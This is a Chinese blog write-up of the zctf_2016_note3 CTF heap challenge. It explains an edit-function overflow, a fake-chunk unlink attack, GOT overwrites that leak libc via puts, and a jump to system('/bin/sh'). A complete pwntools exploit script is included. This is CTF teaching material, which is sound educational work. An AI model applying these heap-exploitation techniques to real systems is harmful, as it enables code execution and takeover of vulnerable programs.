zctf_2016_note3 详解

3 篇文章 0 订阅

zctf_2016_note3 详解

题目可以在buu上找到,ibc版本为2.23

和wiki做的不一样,wiki那个我还没看懂,改天再研究研究orz

查看保护机制

在这里插入图片描述

题目分析

是个菜单题,提供了新建note、打印note、编辑note、删除note四个功能在这里插入图片描述

添加note

​ 最多添加七个note,每个note大小在0-0x400之间,申请到的堆空间地址会放在ptr指针处

在这里插入图片描述

漏洞在edit功能模块

​ 当a2 = 0时,由于i为unsigned_int,-1相当于无穷大,会造成无限制读入,令我们可以覆盖后面的堆块

在这里插入图片描述

show是假的

​ 另外需要注意的是show函数并没有实现打印功能,那么通过打印堆块内容泄露libc的办法就不可行了

在这里插入图片描述

delete

在这里插入图片描述

整合思路

要做的事情有两个

  1. 泄露libc
  2. getshell

整合上面得到的信息,由于show函数并没有实现打印功能,那么通过fastbin attack打印fd泄露libc的办法就不可行了,不过我们注意到申请到的堆块指针全部放在ptr中,并且在delete函数中free对指针进行了直接操作,那么可以通过unlink挟持got表到ptr,之后通过打印got表和篡改got表来实现泄露和getshell

具体实现如下:

覆盖free为puts实现打印功能,通过unlink覆盖ptr为free_got表以及atoi_got表,然后通过edit 可以篡改free_got为puts_plt实现打印功能。

ptr已经被覆盖,我们可以直接打印atoi_got表中的函数地址来泄露libc,通过篡改atoi_got表为system来实现getshell

unlink过程详解

我们首先申请0、0x100、0x100、0x100的堆块,如图左所示,记作chunk0-3

为了unlink我们需要一个假的空闲的堆块,这里选择在ptr[2]处进行伪造,我们希望free(ptr[1])造成chunk1和fake_chunk的合并

为了让glibc相信这个fake chunk就是chunk2,我们需要修改chunk1和chunk2的size,以及chunk3的prevsize

为了让glibc相信fake chunk是空闲的,需要修改chunk3的prev_inuse标志位

(其实不伪造的这么精致也可以,比如让fake_chunk只有0x70大,只要fake_chunk + 8位置的prev_inuse标志位能对上就行)

payload = p64(0) * 3 + p64(0x121) + b'a' * 0x110 
payload += p64(0) + p64(0x101) + p64(fd) + p64(bk) + b'a' * (0x100-0x20) 
payload += p64(0x100) + p64(0x110)

在这里插入图片描述
执行unlink之后,ptr[2] = ptr[2] - 0x18 = ptr - 0x8

之后编辑ptr[2],就可以覆盖ptr区域存储的指针,就可以实现对got表的打印和修改了

exp:

from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

io = process('./zctf_2016_note3')
# io = remote('node4.buuoj.cn', 26242)
# gdb.attach(io)

elf = ELF('./zctf_2016_note3')
libc = ELF('./libc-2.23.so')

def new(size, content):
    io.recvuntil(b'>>\n')
    io.sendline(b'1')
    io.recvuntil(b'1024)\n')
    io.sendline(size)
    io.recvuntil(b'content:\n')
    io.sendline(content)

def show():
    io.recvuntil(b'>>\n')
    io.sendline(b'2')

def edit(idx, content):
    io.recvuntil(b'>>\n')
    io.sendline(b'3')
    io.recvuntil(b'note:\n')
    io.sendline(idx)
    io.recvuntil(b'content:\n')
    io.sendline(content)

def delete(idx):
    io.recvuntil(b'>>\n')
    io.sendline(b'4')
    io.recvuntil(b'note:\n')
    io.sendline(idx)

ptr = 0x6020C8

new(b'0', b'aaaa')      # idx 0
new(b'256', b'aaaa')    # idx 1
new(b'256', b'aaaa')    # idx 2
new(b'256', b'aaaa')    # idx 3
# delete(b'2')

# 伪造idx 2的free状态和fd bk
fd = ptr + 0x10 - 0x18
bk = ptr + 0x10 - 0x10

payload = p64(0) * 3 + p64(0x121) + b'a' * 0x110 
payload += p64(0) + p64(0x101) + p64(fd) + p64(bk) + b'a' * (0x100-0x20) 
payload += p64(0x100) + p64(0x110)

edit(b'0', payload)

# 触发unlink,free(1)使1和2合并
delete(b'1')

free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']

# 覆盖ptr里的堆地址
payload = b'a' * 0x8 + p64(free_got) + p64(atoi_got) + p64(atoi_got) + p64(atoi_got)
edit(b'2', payload)

# 泄漏atoi_got
edit(b'0', p64(puts_plt)[:-1])
delete(b'2')
atoi_addr = u64(io.recvline()[:-1].ljust(8, b'\x00'))
print('atoi_addr -> ' + hex(atoi_addr))

libc_addr = atoi_addr - libc.symbols['atoi']
system_addr = libc.symbols['system'] + libc_addr

# 修改atoi_got为system地址
edit(b'3', p64(system_addr)[:-1])

io.recvuntil(b'>>\n')
io.sendline(b'/bin/sh')

io.interactive()

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值